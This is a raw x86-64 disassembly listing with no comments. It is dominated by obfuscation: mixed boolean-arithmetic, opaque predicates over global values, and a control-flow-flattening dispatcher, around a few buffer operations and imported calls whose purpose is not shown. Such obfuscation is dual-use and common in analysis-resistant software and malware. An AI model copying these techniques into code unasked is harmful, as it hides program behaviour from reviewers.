mov edx, ecx
not edx
and edx, 0x3e0a3570
and ecx, 0xc1f5ca8f
or ecx, edx
mov edx, ecx
not edx
mov edi, edx
and edi, 0x32e4e041
mov esi, ecx
and esi, 0xcd1b1fbe
or esi, edi
mov edi, esi
not edi
and edi, 0xcd1b1fbf
and esi, 0x32e4e040
or esi, edi
and ecx, 0xfff2f874
mov edi, edx
and edi, 0xd078b
or edi, ecx
xor edi, 0xfff2f875
and edx, 1
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x4dbe4b0c
and edx, 0xb241b4f3
or edx, ecx
mov ecx, edx
xor ecx, 0x900184c1
xor edx, 0x4dbe4b0c
mov ebx, esi
not ebx
mov edi, ebx
and edi, 0x2a66733a
and esi, 0xd5998cc5
or esi, edi
or ebx, edx
and edx, 0x2a66733a
and ecx, 0xd5998cc5
or ecx, edx
xor ecx, esi
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ebx, 0x99c450a3
and ecx, 0x663baf5c
or ecx, ebx
mov edx, ecx
xor edx, 0x91005021
xor ecx, 0x46022f44
and ecx, 0x4ec62fc6
and edx, 0xb139d039
or edx, ecx
xor edx, 0xb139d039
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, eax
or cl, al
and al, r8b
xor dl, r8b
or dl, al
mov r9d, edx
xor r9b, 1
or bl, r8b
xor bl, 1
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, r9b
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x44e48b99
mov ebx, 0x8c183f1f
cmovne ecx, ebx
test al, al
mov eax, ecx
mov ebx, 0x44e48b99
cmovne eax, ebx
jmp 0x14001cb06
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
mov rax, qword [rbp + 0x18]
mov dword [rax], 0
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov rsi, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov r9, qword [rbp + 0x18]
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
mov rdx, rsi
mov r8d, 0xfa
call qword [0x140064008]
add rsp, 0x20
mov rax, qword [rbp + 0x20]
cmp byte [rax + 1], 0x3b
sete byte [rbp + 0x115]
mov edx, dword [0x1400640e4]
mov ecx, dword [0x1400640e8]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
and edx, 0x18092a4
mov ebx, eax
and ebx, 0x90024002
or ebx, edx
xor ebx, 0x90024002
and eax, 0x6e7d2d59
or eax, ebx
mov edx, eax
not edx
and edx, 0xc0f9af08
and eax, 0x3f0650f7
or eax, edx
mov edx, eax
xor edx, 0xae848251
mov ebx, eax
xor ebx, 0xae848250
and ebx, edx
xor eax, 0x517b7dae
and eax, 0xfffffffe
and edx, 1
or edx, eax
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0xf47b728a
and edx, 0xb848d75
or edx, eax
mov eax, edx
xor eax, 0x3040c44
xor edx, 0x205a1200
and edx, 0x28da9331
and eax, 0xd7256cce
or eax, edx
xor eax, 0x28da9331
sete r8b
setne al
cmp ecx, 0xa
setl r10b
cmp ecx, 9
setg r9b
mov edx, r9d
xor dl, r10b
and dl, r9b
mov r11d, eax
xor r11b, r8b
and r11b, al
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov esi, ebx
xor sil, cl
or bl, cl
xor bl, 1
or bl, sil
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov esi, r11d
xor sil, 1
mov edx, esi
and dl, r11b
mov ebx, edx
xor bl, 1
xor dl, r11b
or bl, sil
xor bl, 1
or bl, dl
xor bl, cl
mov r11d, ebx
xor r11b, 1
and r9b, r8b
and al, r10b
or al, r9b
mov edx, r10d
and dl, r8b
xor r10b, r8b
or r10b, dl
xor al, 1
mov edx, eax
xor dl, r10b
or al, r10b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and bl, r11b
and dl, al
mov ecx, r11d
and cl, bl
xor bl, r11b
or bl, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor dl, bl
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xe0d8d8c1
mov ebx, 0xb1e1a6b1
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0xe0d8d8c1
jmp 0x14001cca4
mov eax, 0x3c63618a
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, 0xb6f73d29
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x42644064
mov ebx, edi
and ebx, 0x39808112
or ebx, ecx
xor ebx, 0x39808112
mov ecx, edi
and ecx, 0x841b3e89
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x841b3e88
and ecx, 0x7be4c177
or ecx, ebx
mov ebx, ecx
not ebx
and edx, ebx
and ecx, edi
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov ecx, r9d
xor cl, r8b
mov eax, ecx
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
xor dl, r9b
not dl
and dl, r9b
and cl, r8b
xor dl, 1
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ebx
xor al, 1
and al, cl
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0xe3a97f0e
mov ecx, 0x13f66c56
cmovne eax, ecx
test dl, dl
cmove eax, r14d
test bl, 1
jmp 0x14001cca4
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x44bbbe41
mov ecx, edx
and ecx, 0xbb4441be
or ecx, edi
mov edi, ecx
not edi
and edi, 0xbb4441bf
and ecx, 0x44bbbe40
or ecx, edi
mov edi, ecx
not edi
and ebx, 0xc60e7af4
and edx, 0x39f1850b
or edx, ebx
mov ebx, edx
xor ebx, 0x31e1010b
xor edx, 0xc60e7af4
mov esi, ecx
and esi, 0xc81ca624
and edi, 0x37e359db
or edi, esi
or ecx, edx
and edx, 0xc81ca624
and ebx, 0x37e359db
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
xor al, 1
or r8b, al
or cl, bl
xor cl, 1
and al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor cl, 1
and cl, r8b
xor r8b, 1
and dl, r8b
or cl, dl
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x222552b8
mov ebx, 0x894083c6
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x222552b8
cmove eax, ecx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, 0x6f817525
mov dword [rbp - 0x6c], 0
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, 0x5d46571e
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, dword [0x1400640e4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xa86b7417
and ecx, 0x57948be8
or ecx, eax
mov eax, ecx
not eax
and eax, 0x57948be8
and ecx, 0xa86b7417
or ecx, eax
mov eax, ecx
not eax
mov ebx, ecx
xor ebx, 0x51517701
and ebx, eax
mov edx, ecx
and edx, 0xaeae88fe
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xaeae88ff
and edx, 0x51517700
or edx, ebx
and ecx, 0x70974bb0
mov ebx, eax
and ebx, 0x8f68b44f
or ebx, ecx
xor ebx, 0x70974bb1
and eax, 1
or eax, ebx
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xd4a60d11
and ecx, eax
not eax
and eax, 0xd4a60d11
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x2b59f2ee
and ecx, 0xd4a60d11
or ecx, eax
mov eax, ecx
not eax
and eax, 0xf39397a
and ecx, 0xf0c6c685
or ecx, eax
mov eax, ecx
xor eax, 0x4002c280
xor ecx, 0x3013112
and ecx, 0xb3c53517
and eax, 0x4c3acae8
or eax, ecx
xor eax, 0xb3c53517
cmp eax, 0xffffffff
sete al
cmp dword [0x1400640e8], 0xa
setl r8b
mov edx, r8d
or dl, al
xor dl, 1
xor r8b, al
or dl, r8b
mov eax, edx
not al
mov ecx, r8d
xor cl, 1
and al, dl
mov ebx, r8d
and bl, cl
xor al, 1
mov r9d, eax
xor r9b, dl
or al, dl
xor al, 1
or al, r9b
mov r9d, ebx
and r9b, r8b
xor bl, r8b
or bl, r9b
xor bl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0x7215cfe5
mov eax, 0xa00c82b2
cmovne edx, eax
test cl, cl
mov eax, 0x7215cfe5
cmovne eax, edx
test bl, 1
cmove eax, edx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x316cba99
and edx, ecx
and ecx, 0xce934566
or ecx, ebx
xor ecx, 0xce934566
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov r9d, ecx
not r9d
mov edx, ecx
xor edx, 0xe727adf6
and edx, r9d
mov esi, r9d
or esi, 0xe727adf6
mov ebx, esi
not ebx
mov edi, edx
not edi
mov eax, edi
and eax, 0xc7f073f8
and edx, 0x380f8c07
or edx, eax
or edi, esi
and esi, 0xc7f073f8
and ebx, 0x18080001
or ebx, esi
xor ebx, edx
not edi
or edi, ebx
mov eax, edi
not eax
and eax, 0x18d85208
and edi, 0xe727adf7
or edi, eax
and r9d, 1
xor ecx, 0xfffffffe
or ecx, r9d
mov eax, ecx
not eax
and eax, 0x8bf00dbb
and ecx, 0x740ff244
or ecx, eax
mov eax, ecx
xor eax, 0x340c0004
mov edx, edi
not edx
xor ecx, 0x8bf00dbb
mov ebx, edx
and ebx, 0x4053f64a
and edi, 0xbfac09b5
or edi, ebx
or edx, ecx
and ecx, 0x4053f64a
and eax, 0xbfac09b5
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x61a7e51f
and edx, 0x9e581ae0
or edx, eax
mov eax, edx
xor eax, 0x12480a00
xor edx, 0x1a1c400
and edx, 0x8db1d4e0
and eax, 0x724e2b1f
or eax, edx
xor eax, 0x8db1d4e0
setne cl
sete r9b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg r8b
mov eax, r9d
mov r10d, ebx
and r10b, r9b
xor bl, r9b
or r9b, r8b
xor r9b, 1
xor al, r8b
not al
and al, r8b
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
xor cl, r8b
or bl, r10b
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov edx, ebx
xor dl, cl
test cl, 1
mov eax, 0xd35b2d61
mov ecx, 0x7aab9f97
cmovne eax, ecx
test bl, bl
mov ebx, 0xd35b2d61
cmove eax, ebx
test dl, 1
jmp 0x14001cca4
mov eax, 0x4927a9af
mov dword [rbp - 0x68], 1
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rax, qword [rbp - 0x18]
sub rsp, 0x20
mov ecx, 2
xor edx, edx
call qword [0x140069648]
add rsp, 0x20
mov eax, 0x7d5f085e
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, dword [0x1400640e4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x3a290836
and ecx, 0xc5d6f7c9
or ecx, eax
mov eax, ecx
not eax
and eax, 0xc5d6f7c9
and ecx, 0x3a290836
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
or eax, 1
mov ebx, eax
not ebx
and edx, 0xec81ce97
and ecx, 0x137e3168
or ecx, edx
mov edx, ecx
xor edx, 0x112c3001
xor ecx, 0xec81ce96
mov edi, eax
and edi, 0xa653476c
and ebx, 0x59acb892
or ebx, edi
or eax, ecx
and ecx, 0xa653476c
and edx, 0x59acb893
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1bc74cd4
and eax, 0xe438b32b
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xd8148651
and eax, 0x27eb79ae
or eax, ecx
xor eax, 0x3c2c357a
sete dl
cmp dword [0x1400640e8], 0xa
setl r8b
mov eax, r8d
or al, dl
xor al, 1
mov ecx, r8d
xor cl, dl
or al, cl
mov r9d, eax
xor r9b, 1
and dl, cl
and cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, r9d
and bl, al
and cl, dl
mov r8d, ebx
and r8b, r9b
xor bl, r9b
or bl, r8b
xor cl, 1
mov r8d, ecx
xor r8b, dl
or cl, dl
xor cl, 1
or cl, r8b
xor cl, bl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x4ed1e495
mov eax, 0x94d02ed
cmovne ebx, eax
test dl, 1
mov eax, 0x4ed1e495
cmovne eax, ebx
test cl, 1
cmove eax, ebx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp byte [rbp + 0xae], 0
mov eax, 0xcef78668
mov ecx, 0x2ba32ba2
cmovne eax, ecx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
sub rsp, 0x20
call fcn.14003af10
add rsp, 0x20
movaps xmm6, xmmword [rbp + 0x130]
lea rsp, [rbp + 0x148]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret